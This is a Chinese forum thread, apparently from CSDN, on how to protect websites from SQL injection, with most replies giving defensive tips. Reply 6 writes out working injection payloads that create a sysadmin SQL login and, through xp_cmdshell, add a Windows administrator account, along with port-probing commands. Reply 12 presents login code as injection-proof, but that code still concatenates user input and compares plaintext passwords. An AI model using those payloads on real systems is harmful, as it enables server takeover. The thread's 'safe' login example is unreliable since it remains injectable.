现在网站安全问题,日益严重.
大家畅谈一下如何防止恶意入侵.
谢谢..

解决方案 »

  1.   

    在TextBox的一些东西过滤掉,如"'",","等号。
    还有最好别用true 或 false 之类的条件进行判断。
      

  2.   

    Preventing SQL Injection Attacks
    http://www.wwwcoder.com/main/parentid/258/site/2966/68/default.aspx
      

  3.   

    建一个专门的数据库账户,仅指定必要的权限,不要使用管理员账户system(Oracle),sa(SQL Server)
      

  4.   

    Preventing SQL Injection Attacks :
    http://www.wwwcoder.com/main/parentid/258/site/2966/68/default.aspx
      

  5.   

    撰寫安全的 ADO.NET 命令字串  本課程將介紹如何利用 ADO.NET 的 Command 物件,執行 T-SQL 語法,包括 DML、DCL、DDL,以提高應用程式的彈性與功能。並探討這些語法所可能造成的安全漏洞,以及正確安全的用法。  http://www.microsoft.com/taiwan/msdn/elearning/ADOdotNETSecurity.htm
      

  6.   

    很多人用数据库发布的时候都用的sa,再加上"select .. where name = "+ Request.QueryString["name"]这样的操作,我们来看看结果是怎么样?![篇幅问题,具体命令自己查查]把Request.QueryString["name"]的值改为:
    1. ;exec master.dbo.sp_addlogin Test, Test, master-- // 建立用户
    2. ;EXEC master.dbo.sp_addsrvrolemember 'Test', 'sysadmin'-- // 将用户test提升为管理员组用 telnet www.***.com 1433 查看是否可以远程登陆,如果可以嘿嘿..不可以呢?
    向下看象上面编程的人安全意识都不高,看看他的机子有那些端口开着
    telnet www.***.com 1433
    telnet www.***.com 3389
    telnet www.***.com 21
    telnet www.***.com 139
    telnet www.***.com 445
    大多数都开着,下面我们就假设都开了!
    运行下面的存储过程在他的sql查询分析器里,一条条运行
    exec master.dbo.xp_cmdshell 'net user TEST Test /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add'
    exec master.dbo.xp_cmdshell 'net localgroup administrators Test /add'这样你就在他系统里建立了一个系统账号,TEST 上面建立的是sql帐号后面想干什么我就不细说,有问我就答
    防止攻击:
    方法一——过滤单引号
    function escape(input)
           input=replace(input,"'","''")
           escape=input
    end function方法二——拒绝已知的错误输入
    function validate_string(input)
           known_bad=array("select","insert","update","delete","drop","—","'")
           validate_string=true
           for i=lbound(known_bad) to ubound(known_bad)
              if(instr(1,input,known_bad(i),vbtextcompare)<>0) then
                 validate_string=false
                 exit function
              end if
           next
    end function方法三——只允许正确的输入
    function validatepassword(input)
           good_password_chars=” abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789”
           validatepassword=true
           for i=1 to len(input)
              c=mid(input,I,1)
              if(InStr(good_password_chars,c)=0) then
                   validatepassword=false
                   exit function
              end if
           next
    end function
    http://community.csdn.net/Expert/topic/3129/3129144.xml?temp=.5659296
      

  7.   

    不要去拼接SQL语句就是了
    使用存储过程
      

  8.   

    我想请问高手一下我在使用过程里难免出现一些SQL语句的拼接
    虽然我把大多固定的SQL使用都做了存储过程,可是在管理页或者其他地方也难免用SQL语句我已经把所有用户输入的数据都做了过滤,把危险的字符都替换掉了。这样还可以注入吗?
    是不是只要有SQL直接的调用就存在注入??
      

  9.   

    1用存储过程
    2过滤‘
    3过滤敏感单词例如update、delete等
      

  10.   

    1.判断参数,一般SQL注入技术是根据你的SQL漏洞进行的。
    要判断所接受参数的长度和数据类型等。
    2.SQL数据库中不要用DBO用户,当然更不能用sa了。
    自己建一个用户,自己钩选权限,一个表一个表的钩。虽然麻烦,不过很有效果。
    3.使用存储过程也是一个好的方面。
    4.提高自己的安全意识。
      

  11.   

    大家看看下面这个验证用户的程序:
    看sql这句,sql="select * from T_User where User_Id='"+LoginName.Text+"'";
    这句只判段在表里找用户名。然后用
    if(sdr["Password"].ToString().ToUpper()==PassWord.Text.Trim().ToUpper())
    reader读出了密码,与sql查出来的用户名进行比较。这样就可以避免了注入。
    如果sql="select * from T_User where User_Id='"+LoginName.Text+"' and Password='"+Password+"'";中有用户名与密码两个传值的话就可以注入了。
    下面是登陆验证的代码:
    如果加上过滤字符就更好些了:)一点愚见.
    ------------------------------------SqlConnection conn=new Conn().Connection();
    if(conn.State==System.Data.ConnectionState.Closed)conn.Open();
    string sql="select * from T_User where User_Id='"+LoginName.Text+"'";
    SqlCommand scmd=new SqlCommand(sql,conn);
    SqlDataReader sdr=scmd.ExecuteReader();

    if(sdr.Read())
    {
    if(sdr["Password"].ToString().ToUpper()==PassWord.Text.Trim().ToUpper())
    {
    Response.Write("<script language=javascript>alert('成功登陆!');</script>");
    Session.Add("username",LoginName.Text);
    sdr.Close();
    conn.Close();
    Response.Redirect("main.aspx");
    }
    else
    {
    Response.Write("<script language=javascript>alert('密码错误!');</script>");
    }
    }
    else
    {
    Response.Write("<script language=javascript>alert('用户不存在!');</script>");
    } }
      

  12.   

    use store procedure
    str=str.replace("'","''")